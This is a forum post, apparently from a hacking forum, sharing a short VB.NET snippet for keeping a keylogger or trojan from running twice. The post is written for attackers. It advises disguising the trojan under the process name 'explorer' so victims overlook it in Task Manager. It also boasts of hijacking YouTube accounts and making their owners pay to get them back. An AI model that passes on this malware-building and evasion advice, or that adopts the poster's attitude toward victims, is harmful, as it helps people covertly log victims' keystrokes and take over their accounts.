a few months ago when i was a real noob at vb.net i use 2 look 4 the equavalent syntex for "app.previnstance" in vb.net all the time(4 those that don't now app.previnstance senses whether any previous instance of the same application is already running in the system")but i never found it so i started taking some tuts, coding some programs.....etc then figured out how to get it in just 4 lines that will actually work. all the ones i found gave me some 20 line bullcrap that never worked.in order 2 make a good keylogger u need 2 make sure it can not run more than once or all the logs u get will look messed up.anywez here are the codes:
If System.Diagnostics.Process.GetProcessesByName("explorer").Length > 1 Then
ElseIf System.Diagnostics.Process.GetProcessesByName(Process.GetCurrentProcess.ProcessName).Length > 1 Then
Me.Dispose()
End If
EXTRA INFO *******
These lines will allow u 2 name your keylogger anything without having 2 worry about it getting closed because the 1st line allows your trojan to have the process name "explorer" but u can change the name if u want(personally i think naming it explorer is 1 of the best names 2 pic cause when your trojan autoruns with the name "explorer" when victim look at the task manager they will not see anything suspicous because explorer doesn't show up as a system file so all they will see is 2 indentical explorers and thats something that sometimes just happens.the last 3 lines will basically just make sure that the victim can't open your trojan more than once cause if a trojan is opened more than once(especially if it's a keylogger)it WILL fail.lol oh and avoid reading my previous threads.i done them yesterday cause i was just feeling bored so decided to test a few things but if you do happen to read them on the "hacked utube accounts(desperate people)" those are just people who had 1000/2000+ subbers who got hacked by me so i told them 2 make the vid 2 get their accounts back cause they only gave me $50.
well enjoy and if you want anymore useful source codes the pm me or ask.
oh and 1 last thing.i'm kinda new 2 hackforums so if any1 of you's could tell me how to delete locked threads i would really appreciate it.
